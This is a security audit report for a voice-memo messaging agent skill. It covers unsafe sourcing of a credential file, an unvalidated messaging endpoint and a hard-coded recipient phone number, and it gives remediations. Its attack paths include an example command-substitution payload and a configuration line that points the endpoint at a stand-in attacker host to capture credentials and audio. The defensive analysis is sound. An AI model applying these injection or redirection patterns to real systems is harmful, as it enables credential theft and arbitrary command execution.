Back to skill

Security audit

Voice Memo

Security checks for vulnerabilities and agentic risk

Overview

This skill does what it advertises, but it can send private text and audio externally with unsafe defaults and weak scoping that users should review before installing.

Install only if you are comfortable with message text being sent to ElevenLabs and the generated audio being sent through BlueBubbles. Before use, remove the hard-coded fallback phone number, require an explicit recipient and confirmation for every send, replace source ~/.openclaw/.env with safe key parsing, and restrict BLUEBUBBLES_URL to a trusted local or HTTPS endpoint.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/send-voice-memo.sh:27
Finding

Shared credential file is executed as arbitrary shell code

Content
View full analysis

Vulnerability Details

File Location: scripts/send-voice-memo.sh, lines 27-32
Vulnerability Type: Unsafe execution of configuration data
Risk Level: High

Vulnerable Code

bash
# Load environment variables
if [[ -f ~/.openclaw/.env ]]; then
    source ~/.openclaw/.env
else
    echo "❌ Error: ~/.openclaw/.env not found"
    exit 1
fi

Technical Analysis

The Bash source command executes the target file in the current shell; it does not limit processing to environment-variable assignments. Consequently, command substitutions, function declarations, shell redirections, and arbitrary commands placed in ~/.openclaw/.env are executed with the permissions of the user running the Skill.

The declared functionality only requires selected configuration values, primarily ELEVENLABS_API_KEY and BLUEBUBBLES_PASSWORD. Executing the entire shared configuration file exceeds the minimum access necessary for retrieving those values. It also imports unrelated variables and credentials from the file into the Skill process.

This issue requires an attacker, compromised component, or untrusted configuration-management process to gain write access to ~/.openclaw/.env. It does not independently grant elevated operating-system privileges beyond those already held by the Skill process.

Attack Path

  1. An attacker or compromised local component obtains permission to modify ~/.openclaw/.env.
  2. The attacker adds a shell payload, for example:
    bash
    ELEVENLABS_API_KEY="$(malicious-command)"
    
  3. The user or Agent invokes scripts/send-voice-memo.sh.
  4. The script executes source ~/.openclaw/.env before validating any input or credentials.
  5. The injected command runs with the permissions and filesystem access of the user operating OpenClaw.

Impact Assessment

Successful exploitation permits arbitrary command execution in the OpenClaw user's security context. The attack ...[truncated 312 chars]

Remediation
View remediation

Remediation Suggestions

  • Do not use source to parse a credential file.
  • Prefer passing only the required variables through the process environment or a dedicated secret manager.
  • If dotenv loading is necessary, use a parser that accepts only literal KEY=VALUE records and never evaluates shell syntax.
  • Allowlist the exact supported keys:
    • ELEVENLABS_API_KEY
    • BLUEBUBBLES_PASSWORD
    • ELEVENLABS_VOICE_ID
    • ELEVENLABS_MODEL_ID
    • BLUEBUBBLES_URL
    • IMESSAGE_RECIPIENT
    • VOICE_MEMO_OUTPUT_DIR
  • Reject command substitutions, shell metacharacters, function definitions, redirections, and malformed key names.
  • Verify that the credential file is owned by the expected user and is not group- or world-writable. Recommend permissions of 0600.
  • Keep unrelated secrets in separate credential stores so this Skill cannot unnecessarily inherit them.

T09 · Insecure Skill Coding Practices

Error
Location
scripts/send-voice-memo.sh:40
Finding

Configurable BlueBubbles endpoint can receive credentials and private audio over plaintext

Content
View full analysis

Vulnerability Details

File Location: scripts/send-voice-memo.sh, line 40 and lines 143-151
Vulnerability Type: Unrestricted sensitive-data destination and plaintext transport
Risk Level: High

Vulnerable Code

bash
# BlueBubbles settings
BLUEBUBBLES_URL="${BLUEBUBBLES_URL:-http://127.0.0.1:1234}"
BLUEBUBBLES_PASSWORD="${BLUEBUBBLES_PASSWORD:-}"
bash
RESPONSE=$(curl -X POST "$BLUEBUBBLES_URL/api/v1/message/attachment" \
    -H "Authorization: Bearer $BLUEBUBBLES_PASSWORD" \
    -F "attachment=@$CAF_FILE;type=audio/x-caf" \
    --form-string "chatGuid=$CHAT_GUID" \
    -F "name=voice.caf" \
    -F "tempGuid=temp-$TIMESTAMP" \
    -F "isAudioMessage=true" \
    -F "method=private-api" \
    --silent \
    --max-time 60)

Technical Analysis

The default URL is a loopback HTTP endpoint, which is consistent with the documented requirement that BlueBubbles run locally. However, BLUEBUBBLES_URL is accepted without validating its scheme or destination.

The resulting request contains the BlueBubbles bearer password in the Authorization header and the generated voice memo as a multipart attachment. If the URL is changed to a remote HTTP server, both values are transmitted to that server without transport encryption. Even with a legitimate remote endpoint, plaintext HTTP permits interception or modification by an attacker positioned on the network path.

Allowing a remote override may be operationally useful, but transmitting authentication material and private message content requires an explicit trust decision and HTTPS enforcement. Unrestricted remote transmission is not necessary for the Skill's documented local-server default.

Attack Path

  1. An attacker, compromised configuration process, or mistaken administrator changes the configuration:
    bash
    BLUEBUBBLES_URL=http://attacker.example
    
  2. A user invokes the Skill with private message text and ...[truncated 1047 chars]
Remediation
View remediation

Remediation Suggestions

  • Enforce a loopback destination by default. Accept only 127.0.0.1, localhost, or an explicitly approved local socket configuration.
  • If remote BlueBubbles servers must be supported, require an explicit opt-in and mandate https://.
  • Parse and validate the URL before invoking curl; reject unsupported schemes, embedded credentials, malformed hosts, and unapproved destinations.
  • Do not silently downgrade from HTTPS to HTTP.
  • Maintain TLS certificate verification and do not introduce curl --insecure.
  • Use a narrowly scoped BlueBubbles credential if the server supports credential scoping or rotation.
  • Document that a configured remote endpoint receives the bearer credential, voice audio, recipient identifier, and message metadata.
  • Rotate the BlueBubbles password immediately if it may have been sent to an untrusted endpoint.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/send-voice-memo.sh:43
Finding

Hard-coded fallback recipient can cause unintended voice-message disclosure

Content
View full analysis

Vulnerability Details

File Location: scripts/send-voice-memo.sh, lines 43 and 65-70
Vulnerability Type: Unsafe default for an external messaging side effect
Risk Level: Medium

Vulnerable Code

bash
# Default recipient
DEFAULT_RECIPIENT="${IMESSAGE_RECIPIENT:-+14169060839}"
bash
TEXT="$1"
RECIPIENT="${2:-$DEFAULT_RECIPIENT}"

if [[ -z "$RECIPIENT" ]]; then
    echo "❌ Error: No recipient specified"
    exit 1
fi

Technical Analysis

When the second command-line argument and IMESSAGE_RECIPIENT variable are absent, the script silently uses a phone number embedded in the repository. Because that value is nonempty, the subsequent validation does not detect that the caller failed to choose a recipient.

Sending a message is an externally visible and potentially privacy-sensitive action. A repository-specific personal number is not a safe universal default and is unnecessary for the declared functionality. The implementation should fail closed when no explicit or locally configured recipient is available.

Attack Path

  1. A user installs the Skill without defining IMESSAGE_RECIPIENT.
  2. The user or Agent invokes the documented one-argument form:
    bash
    scripts/send-voice-memo.sh "Private message content"
    
  3. Because no second argument was supplied, RECIPIENT becomes the hard-coded phone number.
  4. The nonempty-recipient check succeeds.
  5. The script generates the audio and sends it through BlueBubbles to the embedded recipient without requiring confirmation.

No attacker-controlled code execution is required. The unsafe default itself creates the disclosure path.

Impact Assessment

Private generated speech can be delivered to an unintended third party. This can disclose conversation content, personal data, confidential summaries, or other information included in the message. The action may also consume ElevenLabs credits and create message ...[truncated 118 chars]

Remediation
View remediation

Remediation Suggestions

  • Remove the repository-embedded phone number.
  • Require either an explicit recipient argument or a recipient configured by the local user.
  • Use an empty fallback so omitted configuration fails closed:
    bash
    DEFAULT_RECIPIENT="${IMESSAGE_RECIPIENT:-}"
    RECIPIENT="${2:-$DEFAULT_RECIPIENT}"
    
    if [[ -z "$RECIPIENT" ]]; then
        echo "Error: an explicit recipient or IMESSAGE_RECIPIENT is required"
        exit 1
    fi
    
  • Validate recipient syntax before contacting ElevenLabs or BlueBubbles.
  • For Agent-initiated messages, require user confirmation that clearly identifies the resolved recipient before sending.
  • Avoid including personal phone numbers or other personal identifiers in reusable Skill source code and documentation.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (16)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 9)May include surrounding context.

sh
# Usage: ./send-voice-memo.sh "Your message here" [recipient_phone]
#
# Requirements:
#   - ELEVENLABS_API_KEY in ~/.openclaw/.env
#   - BLUEBUBBLES_PASSWORD in ~/.openclaw/.env
#   - afconvert (macOS built-in)
#   - BlueBubbles running locally with Private API enabled

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 10)May include surrounding context.

sh
# Usage: ./send-voice-memo.sh "Your message here" [recipient_phone]
#
# Requirements:
#   - ELEVENLABS_API_KEY in ~/.openclaw/.env
#   - BLUEBUBBLES_PASSWORD in ~/.openclaw/.env
#   - afconvert (macOS built-in)
#   - BlueBubbles running locally with Private API enabled

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 28)May include surrounding context.

sh
# Usage: ./send-voice-memo.sh "Your message here" [recipient_phone]
#
# Requirements:
#   - ELEVENLABS_API_KEY in ~/.openclaw/.env
#   - BLUEBUBBLES_PASSWORD in ~/.openclaw/.env
#   - afconvert (macOS built-in)
#   - BlueBubbles running locally with Private API enabled

Credential Access

High
Category
Privilege Escalation
Confidence
88% confidence
Finding

The script sources ~/.openclaw/.env directly into the shell, which causes any shell code present in that file to execute with the script's privileges. If the .env file is modified by another local process, user, or compromised component, this becomes a code-execution and secret-handling risk rather than simple configuration loading.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 27)May include surrounding context.

sh
# ============================================================================

# Load environment variables
if [[ -f ~/.openclaw/.env ]]; then
    source ~/.openclaw/.env
else
    echo "❌ Error: ~/.openclaw/.env not found"

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

Using source ~/.openclaw/.env executes the contents of the file as shell code, so a tampered environment file could run arbitrary commands and manipulate credential values. In an agent environment, this is more dangerous because skills often run automatically and may trust workspace-local state without interactive review.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 30)May include surrounding context.

sh
if [[ -f ~/.openclaw/.env ]]; then
    source ~/.openclaw/.env
else
    echo "❌ Error: ~/.openclaw/.env not found"
    exit 1
fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 74)May include surrounding context.

sh
fi

if [[ -z "$ELEVENLABS_API_KEY" ]]; then
    echo "❌ Error: ELEVENLABS_API_KEY not found in .env"
    exit 1
fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 79)May include surrounding context.

sh
fi

if [[ -z "$ELEVENLABS_API_KEY" ]]; then
    echo "❌ Error: ELEVENLABS_API_KEY not found in .env"
    exit 1
fi

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The README explicitly states the agent can invoke the skill to send voice responses, but it does not warn that user text will be sent to ElevenLabs for synthesis and then delivered to external contacts over iMessage via BlueBubbles. In an agent context, this omission can cause users or operators to underestimate the privacy and consent implications of transmitting potentially sensitive content to third-party services and recipients.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
80% confidence
Finding

The documented workflow sends message text to the external ElevenLabs API for text-to-speech generation, which is a real outbound data transfer to a third party. In a messaging skill, this is security-relevant because the content may include private or sensitive information, and the README does not pair the example with cautions about minimizing or approving such disclosures.

Content

Scanner excerpt · README.md (reported line 64)May include surrounding context.

bash
# 1. Generate TTS (ElevenLabs)
curl -X POST "https://api.elevenlabs.io/v1/text-to-speech/{voice_id}" \
  -d '{"text": "...", "model_id": "eleven_turbo_v2_5"}'

# 2. Convert to Opus CAF @ 24kHz (REQUIRED format for iMessage)

External Transmission

Medium
Category
Data Exfiltration
Confidence
80% confidence
Finding

The documented workflow sends message text to the external ElevenLabs API for text-to-speech generation, which is a real outbound data transfer to a third party. In a messaging skill, this is security-relevant because the content may include private or sensitive information, and the README does not pair the example with cautions about minimizing or approving such disclosures.

Content

Scanner excerpt · README.md (reported line 64)May include surrounding context.

bash
# 1. Generate TTS (ElevenLabs)
curl -X POST "https://api.elevenlabs.io/v1/text-to-speech/{voice_id}" \
  -d '{"text": "...", "model_id": "eleven_turbo_v2_5"}'

# 2. Convert to Opus CAF @ 24kHz (REQUIRED format for iMessage)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
96% confidence
Finding

The skill advertises shell-based execution behavior (scripts/send-voice-memo.sh, curl, afconvert) but does not declare an explicit tool scope such as allowed tools or permissions. That creates a governance gap: an agent may invoke shell capabilities implicitly without clear sandboxing or user-visible authorization boundaries, increasing the chance of unintended command execution or misuse.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The activation text is broad enough to match common conversational requests like storytelling, summaries, or anything 'more engaging than text,' which can cause the skill to activate in situations where the user did not clearly ask to send an iMessage voice memo. Because activation leads to external messaging and third-party TTS processing, overbroad triggering raises the risk of accidental data disclosure or unintended message sending.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The skill description does not clearly warn that user-provided message content is transmitted to third-party services, specifically ElevenLabs for TTS generation and BlueBubbles for message delivery. This omission is dangerous because users may share sensitive or private content without realizing it will leave the local agent context and be processed by external systems.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

The documentation includes a ready-to-run command that sends a synthesized voice memo to a real phone number, but it does not warn that running the example will trigger an external transmission and message delivery. In an agent skill focused on sending voice messages, this omission increases the chance of unintended outbound messaging, privacy issues, or accidental contact with a real recipient during testing.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
95% confidence
Finding

The script sends arbitrary user-provided message text to the external ElevenLabs API, which is a real data egress event. In the context of an agent skill, this is dangerous because sensitive prompts, personal content, or confidential information could be transmitted to a third party without sufficient minimization, consent, or policy checks.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 92)May include surrounding context.

sh
# Escape text for JSON
TEXT_ESCAPED=$(echo "$TEXT" | sed 's/"/\\"/g' | sed "s/'/\\'/g")

curl -X POST "https://api.elevenlabs.io/v1/text-to-speech/$VOICE_ID" \
    -H "xi-api-key: $ELEVENLABS_API_KEY" \
    -H "Content-Type: application/json" \
    -d "{

External Transmission

Medium
Category
Data Exfiltration
Confidence
95% confidence
Finding

The script sends arbitrary user-provided message text to the external ElevenLabs API, which is a real data egress event. In the context of an agent skill, this is dangerous because sensitive prompts, personal content, or confidential information could be transmitted to a third party without sufficient minimization, consent, or policy checks.

Content

Scanner excerpt · scripts/send-voice-memo.sh (reported line 92)May include surrounding context.

sh
# Escape text for JSON
TEXT_ESCAPED=$(echo "$TEXT" | sed 's/"/\\"/g' | sed "s/'/\\'/g")

curl -X POST "https://api.elevenlabs.io/v1/text-to-speech/$VOICE_ID" \
    -H "xi-api-key: $ELEVENLABS_API_KEY" \
    -H "Content-Type: application/json" \
    -d "{

Static analysis

No suspicious patterns detected.